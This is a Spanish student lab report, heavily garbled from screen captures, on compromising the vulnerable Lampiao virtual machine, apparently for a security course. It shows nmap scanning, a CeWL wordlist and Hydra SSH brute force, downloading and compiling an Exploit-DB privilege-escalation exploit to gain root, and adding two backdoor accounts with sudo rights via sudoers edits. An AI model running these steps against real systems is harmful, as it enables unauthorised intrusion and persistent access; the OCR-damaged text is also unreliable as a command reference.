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1. INTRODUCCION

En el desarrollo de la practica se utiliz6 la herramienta Nmap, una de las mas conocidas
para realizar escaneos de red. Su objetivo principal fue identificar los servicios y puertos activos
en una maquina especifica de la red denominada Lampaio, que seria utilizada como maquina

objetivo para posteriores pruebas.



2. OBJETIVOS
2.1 OBJETIVOS GENERAL

Aplicar el uso de Nmap para identificar servicios y puertos activos en la maquina
Lampaio, con el fin de fortalecer el aprendizaje practico en el reconocimiento de sistemas

y la gestion de seguridad informatica.

OBJETIVOS ESPECIFICOS

2.2.1 IDENTIFICAR LA SUPERFICIE DE ATAQUE

¢ Reconocer la utilidad del comando nmap -sV en la deteccion de servicios y
versiones de la maquina victima.

¢+ Ejecutar un escaneo dirigido a puertos especificos mediante el parametro -p.

¢+ Analizar e interpretar los resultados obtenidos de la maquina Lampaio en
cada fase del escaneo.

+¢+ Relacionar los hallazgos con la importancia de proteger una maquina

victima frente a posibles ataques.



3. CAPITULO1

En esta etapa inicial, nos mostrara el paso a paso para atacar atreves de diccionarios

a la maquina lampaio.

3.1 USO DE COMANDO NMAP
Cuando usamos el comondo nmap -sV, podemos descubrir los servicios activos en

una red, aportando al conocimiento y a la protecion de redes. Duarte este paso podimos

identificar la ip del lampaio, esta sera la maquina que vamos a atacar.

/home/kali

197.168.2.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 10:44 EDT
Nmap scan report for 197.168.2.1
Host is up (0.00034s latency).
All 1000 scanned ports on 197.168.2.1 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 197.168.2.2

Host is up (0.0012s latency).

Not shown: 997 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

445/tcp open microsoft-ds?

912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 197.168.2.3

Host is up (0.00015s latency).

All 1000 scanned ports on 197.168.2.3 are in ignored states.

Not shown: 1000 filtered tcp ports (proto-unreach)

MAC Address: 08:00:27:15:10:42 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for 197.168.2.13

Host is up (0.00023s Llatency).

Not shown: 998 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http?

lustracion 1 USO DE COMANDO NMAP



Depues del scaneo genera pasomos a ralizar un escaneo especifico en este caso
selecionamos desde el puerto 1 al puerto 2000 este se le hizo a la direcion IP de la maquina

victima en este caso se utilizo el comando nmap -p 1-2000 197.168.2.13.

/home/kali
1-2000 197.168.2.13
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 10:46 EDT
Nmap scan report for 197.168.2.13
Host is up (0.00024s latency).
Not shown: 1997 closed tcp ports (reset)
PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

1898/tcp open cymtec-port

MAC Address: 08:00:27:25:00:E2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.69 seconds

lustracion 2 USO DE COMANDO NMAP -P

3.2 ACCESO WEB A LA MAQUINA VICTIMA
Tras identificar los puertos abiertos y servicios en ejecucion, se procedié a ingresar

a la direccion IP de la maquina victima Lampaio (197.168.2.13) mediante el navegador
web. Este acceso permitié comprobar que la maquina efectivamente estaba ofreciendo un

servicio web visible.

<« C O A 197.168.2.13

Offsec KaliLinux & KaliTools = KaliDocs 3 Kali Forums ex Kali NetH

llustracion 3 ACCESO WEB A LA MAQUINA VICTIMA



4. INTERFAZ WEB CON FORMULARIO DE AUTENTICACION

Después de identificar la direccion IP y acceder al puerto 1898, se encontr6 una
aplicacion web en la maquina victima Lampaio. Esta aplicacion presentaba contenido
relacionado con la figura histérica de Lampaio en Brasil y un sistema de inicio de sesion

para usuarios registrados.

Lampido, herdi ou vildo do Sertdo?

Paowwerd *

llustracion 4 INTERFAZ WEB CON FORMULARIO DE AUTENTICACION

5. ESCANEO AVANZADO CON NMAP -A
Después de los escaneos iniciales, se ejecutd un analisis mas completo con el

comando: nmap -p 1-2000 197.168.2.13 -A

El pardmetro -2 permite activar la deteccion avanzada de servicios, versiones,
sistema operativo y scripts adicionales, proporcionando un nivel de detalle mas profundo

sobre la maquina victima.



/home/kali
1-2000 197.168.2.13
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 10:54 EDT
Nmap scan report for 197.168.2.13
Host is up (0.00041s latency).
Not shown: 1997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
2048 f3:28:88:f2:2d:d0:b2:54:0b:9¢:ad:61:33:59:55:93 (RSA)
256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)

open http?
fingerprint-strings:

|
|
I_

_v_l_v_!_]

1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))
http-robots.txt: 36 disallowed entries (15 shown)
/includes/ /misc/ /modules/ /profiles/ /scripts/

| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
/INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt

_/LICENSE.txt /MAINTAINERS.txt

| _http-title: Lampi\xC3\xA3o0

lustracion 5 ESCANEO AVANZADO CON NMAP -A

6. ESCANEO CON NMAP USANDO SCRIPTS -SC
Ademaés de los andlisis anteriores, se ejecuté un escaneo con el comando:

nmap -p 1-2000 197.168.2.13 -sC

La opcidn -sC permite aplicar una serie de scripts predeterminados de Nmap

(NSE), disefiados para recopilar informacién adicional de los servicios detectados.

el uso de -sC refuerza la importancia de combinar distintos tipos de escaneo para

tener una vision mas completa de los servicios activos en una maquina.



/home/kali
1-2000 197.168.2.13

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 10:55 EDT
Nmap scan report for 197.168.2.13
Host is up (0.00030s latency).
Not shown: 1997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e23:10 (DSA)
| 2048 f3:08:88:f2:2d:d0:b2:54:0b:9¢c:ad:61:33:59:55:93 (RSA)
| 256 ce:63:2a3:f7:53:6e:46:e2:a3e:81:e3:FfFf:b7:16:f4:52 (ECDSA)
|_ 256 ¢6:55:€a:07:37:65:e3:06:¢c1:d6:5b:77:dc:23:df:cc (ED25519)
80/tcp open http
1898/tcp open cymtec-port
MAC Address: 08:00:27:25:00:E2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 56.79 seconds

/home/kali

llustracion 6 ESCANEO CON NMAP USANDO SCRIPTS -SC

7. EXPLORACION DE MODULOS SSH
La imagen demuestra la fase de exploracion inicial dentro de Metasploit, donde se

listan modulos que permiten atacar, enumerar y manipular conexiones SSH. Es un paso
fundamental para definir qué vector de ataque sera el mas adecuado segun el objetivo y el

sistema vulnerable detectado.

/home/kali

Ilustracion 7 EXPLORACION DE MODULOS SSH



8. GENERACION DE WORDLIST Y VERIFICACION DE ARCHIVOS

La imagen refleja una fase practica de recopilacion de informacion: se generd con
éxito una wordlist a partir de un host objetivo usando CeWL y se comprobd su presencia en
el directorio de trabajo. Este es un paso habitual en pruebas de penetracién dirigidas a
evaluar la robustez de contrasefias, siempre que se realice dentro de un marco legal y

autorizado.

htt / rite Dicionario.txt
CeWL 6.2.1 ( i od (robin@digi.ninja} (https://digi.ninja/)

/home/kali
1s: cannot access '.la’': No such file or directory
/home/kali
Dicionario.txt stiwar.py

/home/kali

llustracion 8 GENERACION DE WORDLIST Y VERIFICACION DE ARCHIVOS

9. CONTEO DE LINEAS EN DICCIONARIO.TXT
El Diccionario.txt tiene 844 entradas: un buen punto de partida para pruebas dirigidas.

Recomiendo limpiarla (quitar duplicados/entradas cortas/lineas vacias) y barajarla antes de

utilizarla en herramientas de cracking o fuerza bruta.

/home/kali
Dicionario.txt
844 Diciomario.txt

/home/kali

llustracion 9 Conteo de lineas en Diccionario.txt



10. Visualizacion y contenido inicial de Diccionario.txt

Verificar el contenido real de la wordlist generada (Diccionario.txt) y confirmar que

las entradas son palabras/term-tokens Utiles para posteriores pruebas dirigidas.

El Diccionario.txt contiene 844 lineas con una mezcla de palabras y nombres

potencialmente Gtiles, pero también ruido (palabras cortas o genéricas).

/home/kali
Dicionario.txt
844 Dicionario.txt

/home/kali
Dicionario.txt

Lampiao
que
main
field
com
section
account
wrapper
Home
new
para

lHustracion 10 Visualizacion y contenido inicial de Diccionario.txt

— P Dicionario.txt ssh://197.16 3
Hydra v9.5 (c) by van Hauser/THC Maciejak - Please do not use in military
these *** ignore

Hydra (https
[WARNING] Mar

[STATUS] trie

[STATUS] A tries/mi tries in © ,

1 of 1 target Lete id password found

Hydra (https rithub.com/vanhauser-thc/thc-hydra) finished at 2825-09-24 20:11:33
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Hydra v9.5

[C
these *** ign

Hydra (https
[WARNING] Ma
[DATA] ma

: tiago
d, 1 valid password found
: use 2 final worker threads did not complete until
[ERROR] 2 ta ts did not resolve or could not be connected
[ERROR] @ tar: did not complete
Hydra (https thub.com/vanhauser-thc/thc-hydra) finishe

-~

11. INTENTO DE EJECUCION DE HYDRA PARA FUERZA BRUTA SSH

La ayuda de Hydra aparecio porque -t se uso incorrectamente con la IP.
Cambiando la sintaxis al formato correcto (host después de las opciones de credenciales, -t

como numero de conexiones) el comando deberia ejecutarse.



11

/home/kali
use Dicionario.txt 192.168.2.13 ssh

Hydra v9.5 (c) 2023 by van Hauser/THC David Maciejak - Please do not use 1 itary or
these *** jignore laws and ethics anyway).

Hydra (https://github.com/vanhai -thc/thc-hydra) starting at 2025-09-11 11:18:32
3

Syntax: hydra [[[-1 LOGIN}L FILE] [-p PASSIP FILE]] [-C E [-e ] [-o FILE] (-t

HARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service: ver| RT][/0PT]]

Options:
or -L FILE login with LOGIN name, or load several logins from FILE
or -P FILE try password PASS, or load several passwords from FILE
colon separated “login:pass™ format, instead of -L/-P options
list of servers to attack, one entry per line, to specify port
run TASKS numb of connects in parallel per target (default: 16)
e module usage details
specific for a module, see -U output for information
options (COMPLETE HELP)
DNS, IP or 192.168.0.0/24 (this OR the -M option)
to crack (see below for supported protocols)
vice modules support additional input (-U for module help)

Supported services: ris cisco S - S firebird ftpl
m icq imap[s] [-{craml | ] memcached mong 5sql mysql nntp
smtp-enum snmp ssh sshkey svn

Hydra is a tool to guess/crack valid login/password pairs.
Licensed under AGPL v3.0. The newest version is always available at;
github.com/vanhaus hc-hydra
don't use in military or secret service o nizat 5, or for ill
s a wish and non-binding - most such people do not care about
nyway - and tell o they are one of the good ones.)

purposes. (This

i
laws and ethics a

llustracion 11 INTENTO DE EJECUCION DE HYDRA PARA FUERZA BRUTA SSH

12. CONEXION REMOTA VIA SSH
En este paso se establecid una conexion remota desde la maquina Kali hacia un

servidor Ubuntu. Esto permite administrar el sistema objetivo a través de linea de

comandos de manera segura, utilizando el protocolo SSH (Secure Shell).
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tiago@197.168.2.13
The authenticity of host '197.168.2 (197.168.2
ED25519 key fingerprint is SHA256:G Sy jbhMycAK
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added "197.168.2.13" (ED25519) to the list of known hosts.
tiago@197.168.2.13"'s password:
Welcome to Ubuntu 14.@4.5 LTS (GNU/Linux &4.4.8-31-generic i686)

* Documentation: https: elp.ubuntu.com/
46 BRT 2825

203

|:-.'_:|
197.168.2

Last login: Fri Sep 12 00:83:50 2025 from
tiago@lampiao:~% |

lustracion 12 CONEXION REMOTA ViA SSH
13. CLONACION DEL REPOSITORIO LINENUM DESDE GITHUB

Ingresamos a la pagina de github esto con el fin de descargar el archivo linenum
Ingresamos a la pagina de github esto con el fin de descargar el archivo linenum En la

imagen se observa la interfaz de un repositorio alojado en la plataforma GitHub.
¥ master ~ P r es C ags Q ) file <> Code ~

[ Clone
@) rebootuser U

HTTPS  GitHub CLI
| CHANGELOG.md

1 CONTRIBUTORS.md

1 LICENSE

1 LinEnum.sh

1 README.md

llustracion 13 11. CLONACION DEL REPOSITORIO LINENUM DESDE GITHUB
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14. DESCARGA DEL SCRIPT DE ENUMERACION LINENUM DESDE
REPOSITORIO GITHUB

En esta parte del proceso se muestra como se descarga el proyecto LinEnum

desde la plataforma GitHub hacia el computador local. Para ello, se utilizé el comando

git clone https://github.com/rebootuser/LinEnum.gitEste comando permite traer

una copia completa del repositorio Ilamado LinEnum y guardarla en el equipo de trabajo,

en este caso dentro del directorio principal del usuario en Kali Linux.

/home/kali
t clone https://github.com/rebootuser/LinEnum.git
Cloning into 'LinEnum’ ...
remote: Enumerating cbjects:
remote: Counting objects:
remote: Compressing objects:

= : Total (d 3 ), reuse y (delta 78), pack-reused 138 (from 1)
Rec g j s: (23 (iB p0 KiB/s, done.
Resolving deltas: /

/home/kali

lustracion 14 DESCARGA DEL SCRIPT DE ENUMERACION LINENUM DESDE REPOSITORIO GITHUB
15. ACCESO AL DIRECTORIO Y VERIFICACION DE ARCHIVOS

En esta etapa se muestran los pasos realizados para ingresar al directorio del
proyecto LinEnum dentro del sistema operativo Kali Linux, y verificar los archivos que lo
componen. Ubicacion inicial: el usuario se encuentra en la carpeta principal denominada

/home/kali. Alli se listan diversos directorios y archivos personales.

se cambia de directorio y se ingresa a la carpeta que contiene los archivos del
proyecto descargado previamente desde GitHub. dentro de la carpeta LinEnum, se utiliza
el comando Is para mostrar el contenido. Entre los archivos disponibles se encuentran un
documento que detalla los cambios o actualizaciones histéricas del proyecto, un archivo

donde se listan los colaboradores del desarrollo, también texto legal que especifica los


https://github.com/rebootuser/LinEnum.git

14

términos de uso y distribucion del software, otro es el script principal, encargado de
ejecutar las funciones de enumeracion, y el documento con las instrucciones basicas y

descripcion.

Con este paso, se confirma que la descarga fue exitosa y que el proyecto esta

completo y listo para ejecutarse o analizarse desde el entorno local.

/home/kali
Dicionario.txt stiwar.py

/home/kali
LinEnum

/home/kali/LinEnum
CHANGELOG.md CONTRIBUTORS.md LICENSE LinEnum.sh README.md

/home/kali/LinEnum

llustracion 15 ACCESO AL DIRECTORIO Y VERIFICACION DE ARCHIVOS DEL PROYECTO
16. REVISION DEL SCRIPT PRINCIPAL LINENUM.SH
En este punto se procede a abrir el archivo principal del proyecto, denominado

LinEnum.sh, utilizando el editor de texto Nano, integrado en el sistema Kali Linux.

El objetivo de este paso es analizar el contenido del script y comprender su

funcionamiento antes de ejecutarlo.
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] root@kali: fhome/kali/LinEnum
Session Actions Edit View Help
GNU nano &.6 LinEnum.sh
-]

version="version 0.982"

); 31m#\e[00m"

[00m

Read 1352 lines ]
WE Location IR Undo
Wi Go To Line [Jig4 Redo

lustracion 16 REVISION DEL SCRIPT PRINCIPAL LINENUM.SH
17. EVALUANDO PRIVILEGIOS Y EXPLORACION DE ARCHIVOS

En este paso se verificaron los privilegios del usuario conectado y se realiz6 una
inspeccion basica del sistema de archivos para identificar informacion Gtil y rutas de interés
dentro del equipo. El objetivo es conocer qué puede y no puede hacer el usuario actual

antes de ejecutar pruebas adicionales, siempre en un entorno autorizado.
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anonical.com/

from 197.

on lampiao.

/home$ nano t
:/home$ 1s -la

.viminfo
b cd ..
home$ cd

s

tiago@lampiao:/$ cd varfl

llustracion 17 EVALUANDO PRIVILEGIOS Y EXPLORACION DE ARCHIVOS

Durante la configuracién nos posiciono6 en el directorio principal del sistema de
archivos, conocido como el directorio raiz. A continuacion, la exploracion se centra en el
directorio /etc. Este es un directorio de gran importancia, ya que alberga la mayoria de los

archivos de configuracion de todo el sistema y de las aplicaciones instaladas.

adduser.conf fuse.conf insse f login.defs

issue
issue.net
crontab
rc.local

ersion

deluser.conf " ld. f populari
modules
mtab profile s f and_not_found

environment protocols

fstab inputrc

tiago@lampia

llustracion 18 ARCHIVOS DE NAVEGAION
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Una vez se verificamos el diccionario pasamos a explorar el usuario Tiago
ingresamos al apartado con utilizando el comando nano /etc/passwd, y como se evidencia

que toda salio bien.

tiago@lampiao: fetc

Session Actions Edit View Help

File: /etc/passwd

fsbin/nolo:
dmin /gna fusr/sbin/nologin
nobody
libuuid:

[ Read 23 lines (Warning: No write permission) ]
R} Prev P

g Get Help
B Exit

lHustracion 19 ARCHIVOS NANO /ETC/PASSWD

18. DESCARGAR EXPLOIT
Siguiendo con la configuracion procedemos a la des carga del exploit la cual se

realizé utilizando el comando wget https://www.exploit-db.com/Download/40847 -0

fotos.cpp .

ol
ploit-db.com/d
~d| )

m)
. connected.

—.-KB/s in 0

KB/s) - ‘fotos.cpp’ saved [1053

lustracion 20 1. DESCARGAR EXPLOIT


https://www.exploit-db.com/Download/40847
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Aqui se guarda el exploit que se acabo de descargar en el paso anterior se le da el

nombre de fotos.cpp siguiendo los lineamientos.

Dicionario.txt
documentos

L fot :/home/tiago/
tiago@197.1
fotos.cp

1e0% 10KB 8.1MB/s 00:00

Se rectifica que el archivo fotos.cpp ya se encuentra listado

llustracién 21 FOSTOS.CPP

Trasladamos el exploit a la maquina lampiao y luego lo compilamos de acuerdo
con el siguiente comando, g++ -Wall -pedantic -02 -std=c++11 -pthread -0 documentos
fotos.cpp -lutil, con el comando chmod +x documentos se le otorgan los permisos de

ejecucion y tras seguir los pasos como aparecen en la imagen ingresamos al modo root de

lampiao.
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b g++ -Wall -pedantic -02 -std=c++11 -pthread -o documentos fotos.cpp -lutil
1s

fotos.c
:~% chmod +x documentos
:~% ./documentos -s

Received su prompt (Password: )

rm /tmp/.ssh_bak

root@lampia # echo @ > /proc/sys/vm/dirty_writeback_centisecs
root@lampia p /tmp/.ssh_bak /etc/passwd

root@lampia 'm /tmp/.ssh_bak

rootglampi

llustracion 22 EXPLOIT

19. CREACION DE DIRECTORIO DE EVIDENCIAS Y ALTA DE USUARIOS
LOCALES

En este paso se creo un directorio destinado a almacenar evidencia y se afiadieron
dos cuentas de usuario al sistema, Javier y Stiwar. Estas acciones normalmente se realizan
para preparar un entorno de trabajo controlado y para disponer de cuentas de acceso

separadas durante una prueba o auditoria. Comandos observados y su propdsito

mkdir -p /evidencia_lampaio

Accion: crea de forma recursiva el directorio /evidencia_lampaio si no existe.

Proposito: reservar un espacio en el sistema de archivos para almacenar registros,
resultados, capturas o cualquier artefacto que se considere “evidencia" durante la actividad.

El uso de -p evita errores si ya existe la ruta y crea directorios padre si son necesarios.

adduser Javier (y posteriormente adduser Stiwar) Accién: crea una nueva cuenta
de usuario llamada Javier y, en su momento, otra llamada Stiwar. El proceso interactivo
solicita y confirma una contrasefia, y permite completar informacion opcional, Salida
tipica: confirmacion passwd: password updated successfully y la solicitud de confirmar los

datos del usuario.? Y/n). Le damos Y eso para los dos usuarios



root@lampiao:~# adduser javier
Adding user " javier’
Adding new group ~jav
Adding new user ~jav
Creating home directory ~/home/javier’
Copying files from ~/Jetc/skel’
Enter new UNIX password:
Retype new UNIX password:
No password supplied
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for javier
Enter the new value, or press ENTER for th
Full Name []:
Room Number []:
Work Phone =
Home Phone
Other []:
Is the information correct? [Y/n] vy
root@lampiao:~#
root@lampiao:~#
root@lampiao:~# adduser stiwar
Adding user “stiwar’
Adding new group " stiwar’
Adding new user "stiwar’
Creating home directory " /home/stiwar’
Copying files from ~/Jetc/skel’
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for stiwar
Enter the new value, or press ENTER for th
Full Name []:
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e default

llustracion 23 CREACION DE DIRECTORIO DE EVIDENCIAS Y ALTA DE USUARIOS LOCALES

20. CONFIRMANDO LA EXISTENCIA DE LOS USUARIQOS

Se comprobo que las cuentas de usuario creadas en el paso anterior (Javier y

Stiwar) quedaron registradas correctamente en el sistema. Esto asegura que cada uno

cuenta con su propio directorio personal y un entorno

de trabajo independiente.



lanpiao login:

buntu 14.04.5 LTS lampiao ttul
lanpiao login:

buntu 14.04.5 LTS lampiao ttul

lanpiao login: javier

Passuord :
elcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

* Documentation: https://help.ubuntu.con/

Systen information as of Wed Sep 24 21:42:46 BRT 2025

Systen load: 0.0 : 175

Processes
Usage of »: 7.5z of 19.076B Users logged in: 1

Memory usage: 22x%

IP address for etho: 197.168.2.13
Suap usage: ©Ox

Graph this data and manage this system at:
https://landscape.canonical .con/

release '16.04.7 LTS’ available.
Run 'do-release-upgrade’ to upgrade to it.

programs included with the Ubuntu system are free softuare:
he exact distribution terms for each program are described in the
individual files in ~usr/sharesdoc/»/copyright.

mtu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

avier@lanpiao:™§ _

lustracion 24 CONFIRMANDO LA EXISTENCIA DE LOS USUARIOS JAVIER

buntu 14.04.5 LIS lampiao ttyl

lampiao login: stiwar
Password :

Icone to Ubuntu 14.04.5 LIS (6NU/Linux 4.4.0-31-generic 1686)
* Documentation: https://help.ubuntu.con/

Systen information as of UWed Sep 24 22:03:33 BRT 2025

Systen load: 0.0 Processes: 17?

Usage of »: 7.5% of 19.076B Users logged in: 1

Memory usage: 23x IP address for etho: 197.168.2.13
Suap usage: ©Ox

Graph this data and manage this system at:
https://landscape.canonical .con/

release '16.04.7 LTS’ available.
Run ’'do-release-upgrade’ to upgrade to it.

included with the Ubuntu system are free software:
exact distribution terms for each progran are described in the
individual files in susrssharesdoc/#/copyright .

ntucmesulthﬁlSﬂLUﬂL’lllJW“.totMextentmlttedhg

lustracion 25 CONFIRMANDO LA EXISTENCIA DE LOS USUARIOS STIWAR
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21. ASIGNANDO PRIVILEGIOS A LOS USUARIOS

f usermod -al

i usermod -al javier

-# echo "javier Al1=(ALL: ALL) ALL" >>

t usermod -aG sudo stiwar
root@lampiao:~# usermod -aG root stiwar
root@lampiao:~# echo "stiwar AL1=(ALL: ALL) ALL" >»
root@lampiao:~# 1s

'# 1s

root@lampiao: /# cd var
root@lampiao: /varg 1s
root@lampiao:/vartt cd www
root@lampiao: /var/wwi 1s

root@lampiao Jwnn# cd html

i e /tm1l# 1s

. INSTALL.pgsql.txt

authorize.php install.php update.php
CHANGELOG. txt INSTALL.sqlite.txt UPGRADE. txt
COPYRIGHT.txt INSTALL.txt web.config
cron.php lampiao.jpg README.txt xmlrpc.php
LICENSE.txt robots.txt
index.php Luiz i L
INSTALL.mysql.txt MAINTAINERS.txt
root@lampiao: /var/w/htmlg ]

lustracion 26 ASIGNAR PRIVILEGIOS WEB A LOS USUARIOS
22. ESCALADA DE PRIVILEGIOS Y EXPLORACION DEL ENTORNO WEB

Después de crear las cuentas de usuario, se les conceden permisos de administrador.
Esto se logra modificando el archivo /etc/sudoers y usando el comando usermod para
afiadir a los usuarios javier y stiwar a los grupos sudo Yy root. De esta manera, ambos

obtienen el control total sobre el sistema.
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oflampiao:/$ mysgl -u drupaluser -p -h localhost drupal
passw -

end with

ion id is 41
Server version: 5.5.58-@ubuntu@.14.04.1 (Ubuntu)

Oracle and/or its a

1 E cle Corporation and/or
Other names may be trade ks of their respective

Type "help;' or '\h' for help. Type '\c¢' to clear the current

mysql> |

lustracion 27 ESCALADA DE PRIVILEGIOS Y EXPLORACION DEL ENTORNO WEB
23. EXPLORA BASE DE DATOS

Nos conectamos a la base de datos atreves del comando mysql -u drupaluser -p -h

localhot drupla. dentro del usuario Tiago



block_custom
block_node_type
block_role
blocked_ips
cache

che_block
cache_bootstrap
cache_field
cache_filter
cache_form
cache_image
cache_menu

ite_format_type
e _formats

_data_comment_body
_data_field_image

-+ —h h M T,

lHustracion 28 EXPLORA BASE DE DATOS



es5s
node_comment_statistics
node_revision

node_type

queus

rdf_mapping

registry

registry_file

role
role_permis
: ch_data
ch_inde:
ch_node_links

(3]

em

conomy_index
nomy_term_data

conomy_term_hierarchy

S
S
S
S
5
S
5
5
5
t
L

et

< EEE

lHustracion 29 EXPLORA BASE DE DATOS 1
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